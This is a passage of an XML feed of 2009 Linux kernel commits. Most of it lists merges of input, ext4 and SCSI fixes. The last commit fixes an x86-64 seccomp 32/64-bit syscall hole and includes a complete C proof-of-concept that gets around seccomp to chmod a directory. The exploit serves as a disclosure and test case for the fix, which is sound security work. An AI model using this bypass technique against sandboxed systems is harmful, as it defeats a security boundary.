Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;</message>
    <tree>6d44f8ff989c6c2c6ca9433f67125b8ce33cd0f2</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>36b31106b725ac2ca4941d4ee8dbb67df72ed5dd</id>
      </parent>
      <parent>
        <id>9ab7b25e6a30d2292bd6d4913b71c918ee1e21b4</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/6b3bf2049180c4d4d6f4432f9148621410c179a9</url>
    <id>6b3bf2049180c4d4d6f4432f9148621410c179a9</id>
    <committed-date>2009-03-02T15:43:03-08:00</committed-date>
    <authored-date>2009-03-02T15:43:03-08:00</authored-date>
    <message>Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input

* 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input:
  Input: elantech - touchpad driver miss-recognising logitech mice
  Input: synaptics - ensure we reset the device on resume
  Input: usbtouchscreen - fix eGalax HID ignoring
  Input: ambakmi - fix timeout handling in amba_kmi_write()
  Input: pxa930_trkball - fix write timeout handling
  Input: struct device - replace bus_id with dev_name(), dev_set_name()
  Input: bf54x-keys - fix debounce time validation
  Input: spitzkbd - mark probe function as __devinit
  Input: omap-keypad - mark probe function as __devinit
  Input: corgi_ts - mark probe function as __devinit
  Input: corgikbd - mark probe function as __devinit
  Input: uvc - the button on the camera is KEY_CAMERA
  Input: psmouse - make MOUSE_PS2_LIFEBOOK depend on X86
  Input: atkbd - make forced_release_keys[] static
  Input: usbtouchscreen - allow reporting calibrated data</message>
    <tree>4f8d936d792ef3740d40189053155f7be331f7b0</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>7b88ed671a7157e427811db208bb167c49f33352</id>
      </parent>
      <parent>
        <id>8f64b32eb73fbfe9f38c4123121b63ee409278a7</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/36b31106b725ac2ca4941d4ee8dbb67df72ed5dd</url>
    <id>36b31106b725ac2ca4941d4ee8dbb67df72ed5dd</id>
    <committed-date>2009-03-02T15:42:26-08:00</committed-date>
    <authored-date>2009-03-02T15:42:26-08:00</authored-date>
    <message>Merge branch 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4

* 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tytso/ext4:
  ext4: don't call jbd2_journal_force_commit_nested without journal
  ext4: Reorder fs/Makefile so that ext2 root fs's are mounted using ext2
  ext4: Remove duplicate call to ext4_commit_super() in ext4_freeze()</message>
    <tree>81a38dfa56d58ce3be085ed8b31fac6f41ef0571</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>5b1017404aea6d2e552e991b3fd814d839e9cd67</id>
      </parent>
      <parent>
        <id>5ce7868e159a3ee4ddf95f8522643991fea97cf2</id>
      </parent>
    </parents>
    <author>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/7b88ed671a7157e427811db208bb167c49f33352</url>
    <id>7b88ed671a7157e427811db208bb167c49f33352</id>
    <committed-date>2009-03-02T15:41:59-08:00</committed-date>
    <authored-date>2009-03-02T15:41:59-08:00</authored-date>
    <message>Merge git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6

* git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-rc-fixes-2.6:
  [SCSI] mpt: fix disable lsi sas to use msi as default
  [SCSI] fix ABORTED_COMMAND looping forever problem
  [SCSI] sd: revive sd_index_lock
  [SCSI] cxgb3i: update the driver version to 1.0.1
  [SCSI] cxgb3i: Fix spelling errors in documentation
  [SCSI] cxgb3i: added missing include in cxgb3i_ddp.h
  [SCSI] cxgb3i: Outgoing pdus need to observe skb's MAX_SKB_FRAGS
  [SCSI] cxgb3i: added per-task data to track transmit progress
  [SCSI] cxgb3i: transmit work-request fixes
  [SCSI] hptiop: Add new PCI device ID</message>
    <tree>91e5f0d291dad59b096051b48a3b927b7c2e5c75</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
  <commit>
    <parents type="array">
      <parent>
        <id>ccbe495caa5e604b04d5a31d7459a6f6a76a756c</id>
      </parent>
    </parents>
    <author>
      <name>Roland McGrath</name>
      <email>roland@redhat.com</email>
    </author>
    <url>http://github.com/github/linux-2.6/commit/5b1017404aea6d2e552e991b3fd814d839e9cd67</url>
    <id>5b1017404aea6d2e552e991b3fd814d839e9cd67</id>
    <committed-date>2009-03-02T15:41:30-08:00</committed-date>
    <authored-date>2009-02-27T23:25:54-08:00</authored-date>
    <message>x86-64: seccomp: fix 32/64 syscall hole

On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the &quot;syscall&quot; instruction to make a 64-bit system
call.  A 64-bit process make a 32-bit system call with int $0x80.

In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table.  The fix is simple: test TS_COMPAT
instead of TIF_IA32.  Here is an example exploit:

	/* test case for seccomp circumvention on x86-64

	   There are two failure modes: compile with -m64 or compile with -m32.

	   The -m64 case is the worst one, because it does &quot;chmod 777 .&quot; (could
	   be any chmod call).  The -m32 case demonstrates it was able to do
	   stat(), which can glean information but not harm anything directly.

	   A buggy kernel will let the test do something, print, and exit 1; a
	   fixed kernel will make it exit with SIGKILL before it does anything.
	*/

	#define _GNU_SOURCE
	#include &lt;assert.h&gt;
	#include &lt;inttypes.h&gt;
	#include &lt;stdio.h&gt;
	#include &lt;linux/prctl.h&gt;
	#include &lt;sys/stat.h&gt;
	#include &lt;unistd.h&gt;
	#include &lt;asm/unistd.h&gt;

	int
	main (int argc, char **argv)
	{
	  char buf[100];
	  static const char dot[] = &quot;.&quot;;
	  long ret;
	  unsigned st[24];

	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
	    perror (&quot;prctl(PR_SET_SECCOMP) -- not compiled into kernel?&quot;);

	#ifdef __x86_64__
	  assert ((uintptr_t) dot &lt; (1UL &lt;&lt; 32));
	  asm (&quot;int $0x80 # %0 &lt;- %1(%2 %3)&quot;
	       : &quot;=a&quot; (ret) : &quot;0&quot; (15), &quot;b&quot; (dot), &quot;c&quot; (0777));
	  ret = snprintf (buf, sizeof buf,
			  &quot;result %ld (check mode on .!)\n&quot;, ret);
	#elif defined __i386__
	  asm (&quot;.code32\n&quot;
	       &quot;pushl %%cs\n&quot;
	       &quot;pushl $2f\n&quot;
	       &quot;ljmpl $0x33, $1f\n&quot;
	       &quot;.code64\n&quot;
	       &quot;1: syscall # %0 &lt;- %1(%2 %3)\n&quot;
	       &quot;lretl\n&quot;
	       &quot;.code32\n&quot;
	       &quot;2:&quot;
	       : &quot;=a&quot; (ret) : &quot;0&quot; (4), &quot;D&quot; (dot), &quot;S&quot; (&amp;st));
	  if (ret == 0)
	    ret = snprintf (buf, sizeof buf,
			    &quot;stat . -&gt; st_uid=%u\n&quot;, st[7]);
	  else
	    ret = snprintf (buf, sizeof buf, &quot;result %ld\n&quot;, ret);
	#else
	# error &quot;not this one&quot;
	#endif

	  write (1, buf, ret);

	  syscall (__NR_exit, 1);
	  return 2;
	}

Signed-off-by: Roland McGrath &lt;roland@redhat.com&gt;
[ I don't know if anybody actually uses seccomp, but it's enabled in
  at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds &lt;torvalds@linux-foundation.org&gt;</message>
    <tree>8af3679beab1541d8c77afe28bc261196f03c083</tree>
    <committer>
      <name>Linus Torvalds</name>
      <email>torvalds@linux-foundation.org</email>
    </committer>
  </commit>
</commits>
